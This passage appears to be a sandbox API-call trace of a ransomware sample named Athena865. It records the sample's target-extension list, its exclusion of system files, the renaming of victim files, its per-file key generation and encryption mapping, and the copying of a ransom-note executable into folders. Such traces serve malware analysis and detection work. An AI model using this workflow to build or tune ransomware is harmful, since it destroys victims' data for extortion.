lpString2="mfd") returned -1 [0057.606] lstrlenW (lpString="mpd") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0057.606] lstrlenW (lpString="mrg") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0057.606] lstrlenW (lpString="mud") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0057.606] lstrlenW (lpString="mwb") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0057.606] lstrlenW (lpString="myd") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0057.606] lstrlenW (lpString="ndf") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0057.606] lstrlenW (lpString="nnt") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0057.606] lstrlenW (lpString="nrmlib") returned 6 [0057.606] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0057.606] lstrlenW (lpString="ns2") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0057.606] lstrlenW (lpString="ns3") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0057.607] lstrlenW (lpString="ns4") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0057.607] lstrlenW (lpString="nsf") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0057.607] lstrlenW (lpString="nv") returned 2 [0057.607] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0057.607] lstrlenW (lpString="nv2") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0057.607] lstrlenW (lpString="nwdb") returned 4 [0057.607] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0057.607] lstrlenW (lpString="nyf") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0057.607] lstrlenW (lpString="odb") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0057.607] lstrlenW (lpString="odb") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0057.607] lstrlenW (lpString="oqy") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0057.607] lstrlenW (lpString="ora") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0057.607] lstrlenW (lpString="orx") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0057.607] lstrlenW (lpString="owc") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0057.607] lstrlenW (lpString="p96") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0057.607] lstrlenW (lpString="p97") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0057.607] lstrlenW (lpString="pan") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0057.607] lstrlenW (lpString="pdb") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0057.607] lstrlenW (lpString="pdm") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0057.607] lstrlenW (lpString="pnz") returned 3 [0057.607] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0057.608] lstrlenW (lpString="qry") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0057.608] lstrlenW (lpString="qvd") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0057.608] lstrlenW (lpString="rbf") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0057.608] lstrlenW (lpString="rctd") returned 4 [0057.608] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0057.608] lstrlenW (lpString="rod") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0057.608] lstrlenW (lpString="rodx") returned 4 [0057.608] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0057.608] lstrlenW (lpString="rpd") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0057.608] lstrlenW (lpString="rsd") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0057.608] lstrlenW (lpString="sas7bdat") returned 8 [0057.608] lstrcmpiW (lpString1="teLR.cab", lpString2="sas7bdat") returned 1 [0057.608] lstrlenW (lpString="sbf") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0057.608] lstrlenW (lpString="scx") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0057.608] lstrlenW (lpString="sdb") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0057.608] lstrlenW (lpString="sdc") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0057.608] lstrlenW (lpString="sdf") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0057.608] lstrlenW (lpString="sis") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0057.608] lstrlenW (lpString="spq") returned 3 [0057.608] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0057.608] lstrlenW (lpString="te") returned 2 [0057.608] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0057.609] lstrlenW (lpString="teacher") returned 7 [0057.609] lstrcmpiW (lpString1="eLR.cab", lpString2="teacher") returned -1 [0057.609] lstrlenW (lpString="tmd") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0057.609] lstrlenW (lpString="tps") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0057.609] lstrlenW (lpString="trc") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0057.609] lstrlenW (lpString="trc") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0057.609] lstrlenW (lpString="trm") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0057.609] lstrlenW (lpString="udb") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0057.609] lstrlenW (lpString="udl") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0057.609] lstrlenW (lpString="usr") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0057.609] lstrlenW (lpString="v12") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0057.609] lstrlenW (lpString="vis") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0057.609] lstrlenW (lpString="vpd") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0057.609] lstrlenW (lpString="vvv") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0057.609] lstrlenW (lpString="wdb") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0057.609] lstrlenW (lpString="wmdb") returned 4 [0057.609] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0057.609] lstrlenW (lpString="wrk") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0057.609] lstrlenW (lpString="xdb") returned 3 [0057.609] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0057.610] lstrlenW (lpString="xld") returned 3 [0057.610] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0057.610] lstrlenW (lpString="xmlff") returned 5 [0057.610] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0057.610] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.Athena865") returned 84 [0057.610] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.athena865"), dwFlags=0x1) returned 1 [0057.611] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.611] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17456632) returned 1 [0057.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518de8 [0057.611] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518cd8) returned 1 [0057.612] CryptGenRandom (in: hProv=0x518cd8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.612] CryptReleaseContext (hProv=0x518cd8, dwFlags=0x0) returned 1 [0057.612] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10a6100, lpName=0x0) returned 0x17c [0057.614] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1000000, dwNumberOfBytesToMap=0xa6100) returned 0x2d50000 [0057.667] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0057.877] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0057.894] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518cd8) returned 1 [0057.895] CryptGenRandom (in: hProv=0x518cd8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.895] CryptReleaseContext (hProv=0x518cd8, dwFlags=0x0) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.896] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0057.901] CloseHandle (hObject=0x17c) returned 1 [0057.902] CloseHandle (hObject=0x154) returned 1 [0057.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518de8 | out: hHeap=0x4f0000) returned 1 [0057.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.910] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.910] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.910] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.910] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0057.910] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0057.910] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0057.911] lstrlenW (lpString="Setup.xml") returned 9 [0057.911] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0057.911] lstrlenW (lpString="Setup.xml") returned 9 [0057.911] lstrlenW (lpString="Athena865") returned 9 [0057.911] lstrlenW (lpString=".dll") returned 4 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0057.911] lstrlenW (lpString=".lnk") returned 4 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0057.911] lstrlenW (lpString=".ini") returned 4 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0057.911] lstrlenW (lpString=".sys") returned 4 [0057.911] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0057.911] lstrlenW (lpString="Setup.xml") returned 9 [0057.911] lstrlenW (lpString="bak") returned 3 [0057.911] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0057.911] lstrlenW (lpString="ba_") returned 3 [0057.911] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0057.911] lstrlenW (lpString="dbb") returned 3 [0057.911] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0057.911] lstrlenW (lpString="vmdk") returned 4 [0057.911] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0057.911] lstrlenW (lpString="rar") returned 3 [0057.911] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0057.911] lstrlenW (lpString="zip") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0057.912] lstrlenW (lpString="tgz") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0057.912] lstrlenW (lpString="vbox") returned 4 [0057.912] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0057.912] lstrlenW (lpString="vdi") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0057.912] lstrlenW (lpString="vhd") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0057.912] lstrlenW (lpString="vhdx") returned 4 [0057.912] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0057.912] lstrlenW (lpString="avhd") returned 4 [0057.912] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0057.912] lstrlenW (lpString="db") returned 2 [0057.912] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0057.912] lstrlenW (lpString="db2") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0057.912] lstrlenW (lpString="db3") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0057.912] lstrlenW (lpString="dbf") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0057.912] lstrlenW (lpString="mdf") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0057.912] lstrlenW (lpString="mdb") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0057.912] lstrlenW (lpString="sql") returned 3 [0057.912] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0057.912] lstrlenW (lpString="sqlite") returned 6 [0057.912] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0057.912] lstrlenW (lpString="sqlite3") returned 7 [0057.912] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0057.912] lstrlenW (lpString="sqlitedb") returned 8 [0057.912] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0057.913] lstrlenW (lpString="xml") returned 3 [0057.913] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0057.913] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0057.913] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0057.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.914] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1988) returned 1 [0057.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518de8 [0057.915] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518cd8) returned 1 [0057.916] CryptGenRandom (in: hProv=0x518cd8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.916] CryptReleaseContext (hProv=0x518cd8, dwFlags=0x0) returned 1 [0057.916] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xad0, lpName=0x0) returned 0x17c [0057.917] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xad0) returned 0x100000 [0057.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518cd8) returned 1 [0057.919] CryptGenRandom (in: hProv=0x518cd8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.919] CryptReleaseContext (hProv=0x518cd8, dwFlags=0x0) returned 1 [0057.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.920] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0057.920] CloseHandle (hObject=0x17c) returned 1 [0057.920] CloseHandle (hObject=0x154) returned 1 [0057.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518de8 | out: hHeap=0x4f0000) returned 1 [0057.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.920] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.920] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0057.920] ReleaseMutex (hMutex=0xec) returned 1 [0057.920] CloseHandle (hObject=0xec) returned 1 [0057.920] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" [0057.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518e70 | out: hHeap=0x4f0000) returned 1 [0057.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f5f8 | out: hHeap=0x4f0000) returned 1 [0057.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned 62 [0057.920] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\BE9A8601E3BB4AE69DFC5025C700AE44") returned 0xec [0057.920] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0057.921] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" [0057.921] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0057.921] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0057.921] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0057.921] GetLastError () returned 0x0 [0057.921] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0057.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0057.921] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0057.922] CloseHandle (hObject=0xf4) returned 1 [0057.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0057.922] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0057.922] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbd392c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd392c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0057.922] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0057.922] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0057.922] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0057.922] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbd392c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd392c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.922] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0057.923] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0057.923] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0057.923] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0057.923] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd392c20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd392c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, 